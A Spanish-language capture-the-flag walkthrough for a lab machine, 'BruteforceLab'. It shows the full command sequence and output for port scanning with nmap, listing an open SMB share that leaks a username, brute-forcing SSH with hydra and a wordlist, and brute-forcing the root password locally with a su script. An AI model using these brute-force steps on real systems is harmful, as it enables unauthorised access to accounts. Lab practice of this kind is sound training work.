088 - BruteforceLab

Enumeramos puertos:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.155
❯ nmap -sCV -p22,10000,19000,19222 -oN 02-targeted.txt 192.168.1.155
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-28 16:04 -04
Nmap scan report for 192.168.1.155
Host is up (0.00028s latency).

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
10000/tcp open  http        MiniServ 2.021 (Webmin httpd)
|_http-title: 200 &mdash; Document follows
19000/tcp open  netbios-ssn Samba smbd 4.6.2
19222/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.94 seconds

Hay SMB en puertos no estándar (19000, 19222). Listamos los recursos y accedemos al share Test:

❯ smbclient -L //192.168.1.155// -p 19000
...
	Sharename       Type      Comment
	---------       ----      -------
	Test            Disk
...

❯ smbclient //192.168.1.155/test -p 19000
smb: \> ls
  README.txt                          N      115  Sun Mar 26 16:06:46 2023
smb: \> get README.txt

El README revela el usuario andrea:

❯ cat README.txt
Hey Andrea listen to me, I'm going to take a break. I think I've setup this prototype for the SMB server correctly

Hacemos fuerza bruta contra SSH:

❯ hydra -l andrea -P ~/Documentos/wordlists/rockyou.txt 192.168.1.155 ssh -t 64
...
[22][ssh] host: 192.168.1.155   login: andrea   password: awesome
...

Obtenemos una shell y la primera flag. Para escalar a root, hacemos fuerza bruta de su contraseña con su-bruteforce:

andrea@LAB-Bruteforce:/tmp$ ./suBF.sh -u root -t 0.7 -s 0.05
  [+] Bruteforcing root...
  You can login as root using password: 1998

Nos autenticamos como root y obtenemos nuestra flag.

Fin.